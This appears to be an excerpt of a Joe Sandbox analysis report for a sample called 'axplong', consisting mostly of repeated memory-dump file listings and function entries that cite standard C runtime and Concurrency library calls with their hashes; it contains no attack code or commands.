Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: d194c5f7197e8f799275ef8647f81a9124351aa94fa2d389e6cd5c5a37f6fcda
Instruction ID: ee72bfad4e479cc07e83c266ee183fe83458f00fb764bbc349d5824e90b2f759
Opcode Fuzzy Hash: d194c5f7197e8f799275ef8647f81a9124351aa94fa2d389e6cd5c5a37f6fcda
Instruction Fuzzy Hash: A701A770AC37126EE73137755C01EBB258B8F43B68B061015AF06E7391DE70DC028961

Function 006BE80D Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 006BE84E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 006BE856
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006BE880
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 006BE889
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 006BE90C

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: a4b7dbe58ba24ee3624bcb0af459afc05ca5a26c728ca93ea7feb7efc3e2c5c5
Instruction ID: 1c8c69bf20b49a6ba0638502fc40a29306472759f0036210ca14da3b614aa306
Opcode Fuzzy Hash: a4b7dbe58ba24ee3624bcb0af459afc05ca5a26c728ca93ea7feb7efc3e2c5c5
Instruction Fuzzy Hash: 21414275A00619AFCB09EF64C494AEDBBB6FF48310F048159E9069B391CB75AE41CF81

Function 006AEC16 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 006AEC1D
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 006AEC47

Part of subcall function 006AF30D: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 006AF32A

Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 006AECC4
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 006AECF6
__freea.LIBCMT ref: 006AED1C

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__freea
String ID:
API String ID: 2497068736-0
Opcode ID: c9f7f0fa906b8a361957defadfb8afe0e6609db7a904aca80da995903f68100b
Instruction ID: 83854764a49d31b9ea353bb976b8334ab84e7aa953e312a5a08c3c9dcf072114
Opcode Fuzzy Hash: c9f7f0fa906b8a361957defadfb8afe0e6609db7a904aca80da995903f68100b
Instruction Fuzzy Hash: 26317E71A002058FDB15EFA8C9816AEB7F6AF4A320F25406EE416E7340DB359E42CF95

Function 006BD1E9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 006BD274
ListArray.LIBCONCRT ref: 006BD297
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 006BD2A0
ListArray.LIBCONCRT ref: 006BD2D8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 006BD2E3

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 87c6cd140fed598491ee0f01034f1fe5e0d5412539df66bbde4c7b7c52722ecd
Instruction ID: e4362574dd7aef849c196fe3fa0e9283207a336ada2284b90f56afdbe932e94b
Opcode Fuzzy Hash: 87c6cd140fed598491ee0f01034f1fe5e0d5412539df66bbde4c7b7c52722ecd
Instruction Fuzzy Hash: 7731B2B5700210AFDB05DF64C884BEDB7A7AF88310F054159E9069F392EB70EE81CB91

Function 006B85F9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 006B861E

Part of subcall function 006AEA00: _SpinWait.LIBCONCRT ref: 006AEA18

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 006B8632
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 006B8664
List.LIBCMT ref: 006B86E7
List.LIBCMT ref: 006B86F6

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 16d731f1533b68ef71e63380fd98c0b2e2842018645e7c1d65888d61e53943f5
Instruction ID: a14745f81fc02d43f8e0ef525cd8373bebd0320ffd6f749bc2e9769d3dc6b9e5
Opcode Fuzzy Hash: 16d731f1533b68ef71e63380fd98c0b2e2842018645e7c1d65888d61e53943f5
Instruction Fuzzy Hash: 673189B1D01615DFCB54EFA4D5916EDBBB6BF15308F14006ED80127292EF31AD84CBA5

Function 00692670 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00692806
___std_exception_destroy.LIBVCRUNTIME ref: 006928A0

Strings

P#i, xrefs: 006927BE, 00692899
P#i, xrefs: 00692811

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
